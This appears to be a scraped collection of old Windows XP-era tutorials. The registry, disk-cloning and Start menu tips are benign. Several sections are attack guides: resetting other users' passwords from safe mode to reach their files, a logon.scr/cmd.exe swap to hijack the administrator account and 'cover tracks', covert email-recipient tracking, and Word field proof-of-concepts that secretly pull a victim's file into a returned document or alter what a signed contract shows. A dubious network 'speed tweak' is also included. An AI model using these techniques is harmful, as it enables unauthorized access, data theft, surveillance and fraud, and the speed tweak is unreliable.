How to optimize the Windows performance by removing unwanted programs from startup using windows registry.

Start and click on run in case of windows XP, Server, windows 98, and 2000 but in vista type directly in search box

Type Regedit in the run box to open registry editor

Go to file menu and click on export to create a back up of registry, save it on your drive other than your default windows directory.

windows
After opening Registry editor click on HKEY_LOCAL_MACHINE
Software\
Microsoft\
Windows\
Current Version\
Run
You will see something like this on right hand pane in your registry editor

Now it’s time to get rid of the programs those slow down your operating system and possible may be a Trojan horse hiding in your hard disk.
Right click on any program to delete the entry, which you don’t want to be loaded during startup; personally I would only keep anti virus program entries.

Now you can repeat the same process with HKEY_LOCAL_USER entries and keep only Cftmon.exe for your computer sound to be working. After deleting the unwanted program registry entries, restart the system and feel the difference in speed.

Locally Changing Password On Xp Home/pro

Ever go to get on a computer and the user is logged out, and you don't know the password? Or do you have some access, but not access to a users private files, and you want access to those files?

This quick tut will show you the steps to do this locally, and to protect your computer from people doing this to you!

STEPS TO CHANGE/RESET PASSWORD FOR ANY USERNAME
1.Reboot the computer
2.Right after the bios is finished, hit F8 (or F2,10,12)
3.Select 'Safe mode' or 'Safe mode with networking support'
4.Windows will boot up to the logon screen. Click administrator, 9/10 there is no password.
5.Do, Start->Run->type 'command'
6.At the prompt, type 'net user' which will display a list of usernames. Find the one you are looking for, try 'net user username' for them all. Type 'net user /HELP' for more info.
7.To reset the password type 'net user username *' where username is the username you want to reset.
8.For no password, leave blank.
9.Now, reboot and you can login as that user.

STEPS TO PROTECT YOURSELF FROM THIS METHOD

1. Log into your account (must have admin rights)
2. Get to a command prompt and type 'net user username *' where username is Administrator, or the renamed administrator account.
3. Give administrator a STRONG password.
4. Done.

I never use windows, but when I do, I reinstall the OS on a clean harddrive, and take steps to secure it before I connect it to the net for windows and antivirus upgrades.

One of the first things I do is give the Administrator a password. I also disable the guest account, and give the guest username a password.

Next I uninstall all networking components except TCP/IP. Next I disable netbios in the TCP/IP component settings.

Then I disable some services from running, use 'net user username /DELETE' to delete the "SUPPORT" and helpdesk usernames totally, and do a bunch of other stuff.

Caveats:

If you are on a pc that does not allow you to boot into safe mode, you can get around this. They aren't disabling the safe mode from the OS, they are just not allowing it from startup by pressing a function key. All you need to do is reboot, and then when windows is still loading, before the login screen, turn off the computer by holding down the power button for 5 seconds. Then turn it back on and you should have safe mode available. You can try this at many different stages to get to a safe mode.

If you have administrator rights, you can modify your boot.ini file to automatically boot into safe mode, or, preferably, you can modify your boot.ini file to give you a choice of booting into safe mode every single time you reboot. I have a custom boot.ini on every windows I run.

You could also use a linux "live cd" such as knoppix to edit your boot.ini file. But if you are going to do that, why not just use a live cd to reset the password, or retrieve and crack the hashes, etc..

See available boot.ini switch options at microsoft support boot.ini switch options

This is meant to be for beginners so don't give me any $hit for how easy or simple this is. Not all of us even use windows.

Questions/Comments welcome.

How to Clone a Hard Drive

Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.

Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.

First:
Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.

Second:
Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.

Third:
Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.

Fourth:
After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".

Fifth:
In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:
Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:

"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.

If you receive an error message, then remove the space from between XCOPY and C:\
Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.

This tut has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems. If, by any chance, you should come across a snag, message me and I'll walk you through it.

~cheers~

Tracing the Source of emails

Every email has a header which contains the details of all the servers the email went through, starting from the senders IP, sender's ISP, intermediate routers, servers, and finally the receiver's server. Thus doing a reverse Domain name search of the originating server's IP address, we can get the details like the area, city to which the person belongs, and if u have an authorization u could get the House address,telephone no of the sender from the ISP. For doing a reverse DNS, we can use 'tracert' utility to get the details. There are softwares like Visual Route and Trace route that can do the work for you.These will tell you the details like the city and area.

There is another very accurate and efficient method to trace the person in case the email id is valid and he checks his mail. There is a website called readnotify.com which allows you to send emails through it to him and as soon as the person checks the emails it starts tracing his location and tell you the details like his operating system,IP address, location and the time he saw your mail and the number of times he opened ur mail. This Shows the location of the person on a geographic map, which could be zoomed in or out. NOTE: This site gives this facility only for a limited time and after that u have to register with it or use a new email account.

This site also gives you facility to send Self Destructing Mails, Which can be read only once and after that they get automatically destructed.It's a must try site for people who want to have some fun with your friends.

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe backs up cmd.exe del logon.scr

*deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Remove the Username and picture from Windows XP New Start Menu

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:Start Windows Explorer and go to this folder:C:\Documents and Settings\All Users\Application Data\Microsoft\User Account PicturesFrom that folder, rename the BMP file which corresponds to your user account. ( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp ) Next, rename the following folder:C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures to something else, say...C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures To remove the user name, follow these stepsStart regedit.exe and navigate to the this key:HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer In the right-pane, set NoUserNameInStartMenu value-data to 1Close Regedit.exe and restart Windows. You'll end up with a blue space at the top of the Start Menu.
To get back the username and the picture, reverse the above procedure.For the New Start Menu, Windows XP looks for the .bmp file in the folderC:\Documents and Settings\All Users\Application Data\Microsoft\User Account PicturesIf the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu~ Cheers ~.

Increase Your Cable Modem or DSL Speed in XP

This tweak is for broad band cable connections on stand alone machines with WinXPprofessional version - might work on Home version also. It may also work with networkedmachines as well.This tweak assumes that you have let WinXP create a connection on install for yourcable modem/NIC combination and that your connection has tcp/ip - QoS - file and printsharing - and client for Microsoft networks , only, installed. It also assumes thatWinXP will detect your NIC and has in-box drivers for it. If it doesn't do not trythis.· In the "My Network Places" properties (right-click on the desktop icon and chooseproperties), highlight the connectionthen at the menu bar choose "Advanced" then "Advanced Settings". Uncheck the twoboxes in the lower half for thebindings for File and Printer sharing and Client for MS networks. Click OK.· From the Windows XP CD in the support directory from the support cab, extract thefile netcap.exe and place it in adirectory on your hard drive or even in the root of your C:\ drive.· Next, open up a command prompt window and change directories to where you putnetcap.exe. then type "netcap/?".It will list some commands that are available for netcap and a netmon driver will beinstalled. At the bottom you willsee your adapters. You should see two of them if using a 3Com card. One will be forLAN and the other will be forWAN something or other.· Next type "netcap/Remove". This will remove the netmon driver.· Open up Control Panel->System->Dev Man and look at your network adapters. Youshould now see two of them and one will have a yellow ! on it. Right-click on the onewithout the yellow ! and choose uninstall. YES! You are uninstalling your networkadapter, continue with the uninstall. Do not restart yet.· Check your connection properties to make sure that no connection exists. If you geta wizard just cancel out of it.Now re-start the machine.· After re-start go to your connection properties again and you should have a newconnection called "Local area connection 2". Highlight the connection, then at the menubar choose "Advanced" then "Advanced Settings". Uncheck the two boxes in the lower halffor the bindings for File and Printer sharing and Client for MS networks. Click OK.· Choose connection properties and uncheck the "QOS" box.· Re-start the machine.After restart enjoy the increased responsiveness of IE, faster page loading, and aconnection speed boost.Why it works, it seems that windows XP, in its zeal to make sure every base is coveredinstalls two separate versions of the NIC card. One you do not normally see in anyproperties. Remember the "netcap/?" command above showing two different adapters? The LANone is the one you see. The invisible one loads everything down and its like your runningtwo separate cards together, sharing a connection among two cards, this method breaksthis "bond" and allows the NIC to run un-hindered.

Hacking Office XP

This article is just to make u aware of known existing threatsonly for educational purpose.

I have stumbled onto a couple potential security issue in Microsoft Word blogs
i would like to share. In both cases the adversary (mis)usesfields to perpetrate the attack.
It's important to note that fields are not macros and, as faras I know, cannot be disabled by the user. I am providing a basicdescription along with a proof-of-concept demo. I am fairly certainthat someone with free time and imagination can expand on theseprinciples, possibly applying them to other products.

Following tradition I'll use Hacker and Victim as the two parties involved.Hacker will be the adversary.

1) Document collaboration spyware.

Attack Basics:
Hacker sends Victim a Word document for revisions. After Victimedits, saves, and mails it back to Hacker the file will also includecontents of another file(s) from Victim's computer that Hacker has specified a priori. To achieve this, Hacker embeds the INCLUDETEXT fieldinto the document. The field results in inclusion of a specified fileinto the current document. Of course, Hacker must be careful include itin such a way that it does not become apparent to Victim. Hacker can do allthe usual things like hidden text, small white font, etc. Alternatively(and in my opinion cleaner, she can embed the INCLUDETEXT field withina dummy IF field that always returns an empty string. In this case, theonly way Victim can notice the included file is if he goes browsingthrough field codes.

Attack Improvements:
The disadvantage of the basic attack is that Hackermust rely on Victim to update the INCLUDETEXT field to import the file. Ifthe document is large and contains tables of contents, figures, etc.then Victim is very likely to update all the fields. However, Hacker wouldlike to make sure that the field gets updated regardless of whether Victimdoes it manually or not. Automatic updates can be forced if a DATEfield is embedded into the INCLUDETEXT and it is the last date field inthe document (don't ask me why).

Proof of concept:
Inserting the following field structure into thefooter of the last page will steal the contents of c:a.txt on thetarget's computer. Keep in mind the plain curly braces below mustactually be replaced with Word field braces (you can either use themenus to insert fields one by one, or ask google how to do it by hand).

{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }

Countermeasures:
The only thing you can do now is decide how paranoidyou want to be. If you must edit and send out a Word file with unknownorigins, you may want to manually go through the fields. It would benice to be able to force user confirmation (via a dialog box) for allincludes. Alternatively one could write a scanner. Of course an optionalstandalone checker will never be used by those most at risk.

2) Oblivious signing


Attack Basics:
Hacker and Victim wants to sign a contract saying that Hackerwill pay Victim $100. Hacker types it up as a Word document and bothdigitally sign it. In a few days Victim comes to Hacker to collect hismoney. To his surprise, Hacker presents him with a Word document thatstates he owes her $100. Hacker also has a valid signature from Victim forthe new document. In fact, it is the exact same signature as for thecontract Victim remembers signing and, to Victim's great amazement, the twoWord documents are actually identical in hex. What Hacker did was insertan IF field that branched on an external input such as date orfilename. Thus even though the sign contents remained the same, thedisplayed contents changed because they were partially dependent onunsigned inputs. The basic point is that very few users know the actualcontents of their Word documents and it should be obvious that oneshould never sign what one cannot read. Of course, Victim could contestthe contract in court. An expert witness (that's actually an expert)could easily demonstrate that there are unsigned inputs and thereforeit is not clear which version was actually signed. Thus Victim can get outof the fraudulent contract. However, the same logic will hold for Hackerand she gets away without paying Victim $100 she signed for. Thus, anadversary can build in a free escape clause. Note that I am justspeculating about all the legal aspects.

Proof of concept:
Inserting the following field structure at the tail of the document will cause "Hello" to be displayed if the filename is"a.doc" and "Bye" otherwise.

{ IF { FILENAME * MERGEFORMAT { DATE } } = "a.doc" "Hello" "Bye" * MERGEFORMAT }

Update :
this flaw has been fixed in office 2003 onwardsbut still works in office 2000 and even sometimes in 2002/03
